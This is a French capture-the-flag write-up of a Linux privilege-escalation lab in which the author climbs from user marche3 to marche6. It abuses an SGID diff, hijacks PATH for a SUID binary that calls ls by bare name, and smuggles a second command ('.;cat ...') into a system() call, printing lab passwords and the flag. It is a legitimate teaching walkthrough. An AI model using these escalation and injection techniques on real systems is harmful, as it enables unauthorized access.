Escabot

Flag: CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}

Challenge

Description


Bienvenue à cette introduction à l'escalade de privilèges sur système Linux !

Vous démarrez avec un compte symbolisé par une marche, et devez grimper les marches une par une jusqu'à arriver à la dernière disponible.

Chaque objet d'escalade possède un thème, qui vous sera utile à comprendre afin de grimper les marches !


L'escabot comporte quatre marches : de marche3 à marche6

La dernière marche possède un flag dans ~/flag.txt

Le thème de l'escabot est : Set User/Group ID

| | |

|----------|-----------|

| User | marche3 |

| Password | marche3 |


Solution

Marche3 -> Marche4

Dans l'énoncé on nous dit que le challenge se concentre sur les SUID et SGID. On commence par lister les commandes contenant des SGID :

marche3@f33b669a50b84175:~$ find / -type f -perm /2000 2>/dev/null | xargs ls -l
-rwxr-sr-x 1 root shadow   72184 Feb  6  2024 /usr/bin/chage
-rwxr-sr-x 1 root marche4 133680 Mar 23  2022 /usr/bin/diff
-rwxr-sr-x 1 root shadow   23136 Feb  6  2024 /usr/bin/expiry
-rwxr-sr-x 1 root _ssh    293304 Jun 26 13:11 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow   22680 Jan 10  2024 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow   26776 Jan 10  2024 /usr/sbin/unix_chkpwd

diff fait partie du groupe marche4 et a le stickybit, on peut donc lancer la commande en tant que groupe marche4.

marche3@f33b669a50b84175:~$ ll /home/marche4
total 52
drwxrwxr-x 1 marche4 marche4  4096 Nov  7 22:40  ./
drwxr-xr-x 1 root    root     4096 Nov  7 22:40  ../
-rw-r--r-- 1 marche4 marche4   220 Jan  6  2022  .bash_logout
-rw-r--r-- 1 marche4 marche4  3771 Jan  6  2022  .bashrc
-rw-r--r-- 1 marche4 marche4   807 Jan  6  2022  .profile
-r--r----- 1 marche4 marche4    30 Nov  7 22:40 'do not forgor'
-r-sr-x--- 1 marche5 marche4 16016 Nov  7 22:40  showfile*
-r-xr----- 1 marche4 marche4   185 Nov  7 22:35  showfile.c*

Le dossier de marche4 possède un fichier do not forgor et le groupe marche4 peut le lire. On va donc lancer diff dessus avec un fichier quelconque pour afficher son contenu :

marche3@f33b669a50b84175:~$ diff "/home/marche4/do not forgor" /dev/null
1d0
< YoCheckThatPasswordFormarche4

Mot de passe : YoCheckThatPasswordFormarche4


Marche4 -> Marche5

On peut lancer showfile en tant que marche5 et on a accès au code de showfile :

#include <unistd.h>
#include <stdio.h>

int main(int argc, char** argv, char** envp) {
  char *args[] = {"ls", "-l", "-a", argv[1], NULL};
  execvpe(args[0], args, envp);
  return 0;
}

La commande ls n'est pas utilisée avec un chemin absolu, on peut alors la remplacer par une autre commande en mettant son chemin avant tous les autre dans PATH.

Les arguments -l et -a empêche d'utiliser cat, more, head, etc... Mais on peut quand même leak le contenu du fichier avec des commandes commande nano, sh ou encore less :

marche4@f33b669a50b84175:~$ cp /bin/sh /tmp/ls
marche4@f33b669a50b84175:~$ ./showfile "/home/marche5/.password"
/home/marche5/.password: 1: JeezInsanePasswordFormarche5: not found

Mot de passe : JeezInsanePasswordFormarche5


Marche5 -> Marche6

Encore une fois, on a un fichier avec un SUID de marche6 :

marche5@f33b669a50b84175:~$ ll
total 52
drwxr-x--- 1 marche5 marche5  4096 Nov  7 22:40 ./
drwxr-xr-x 1 root    root     4096 Nov  7 22:40 ../
-rw-r--r-- 1 marche5 marche5   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 marche5 marche5  3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 marche5 marche5    29 Nov  7 22:40 .password
-rw-r--r-- 1 marche5 marche5   807 Jan  6  2022 .profile
-r-sr-x--x 1 marche6 marche5 16144 Nov  7 22:40 tree*
-r-xr----- 1 marche5 marche5   237 Nov  7 22:35 tree.c*

Son code :

#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv, char** envp) {
  setreuid(geteuid(), geteuid());
  char command[32] = "/bin/tree ";
  strcat(command, argv[1]);
  system(command);
  return 0;
}

Ici, le chemin de la commande est bien absolu, mais on peut injecter en chaînant une seconde commande tant que le tout fait moins de 32 caractères :

marche5@f33b669a50b84175:~$ ./tree "../marche6"
../marche6
|-- flag.txt
`-- myapp
    |-- app
    |-- config
    `-- logs
        |-- 2017-06-18T07:56:47
        |-- 2017-06-19T08:35:12
        `-- 2017-06-22T03:22:44

2 directories, 6 files

marche5@f33b669a50b84175:~$ ./tree ".;cat ../marche6/flag.txt"
.
|-- tree
`-- tree.c

0 directories, 2 files
CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}

Dernière mise à jour

Cet article vous a-t-il été utile ?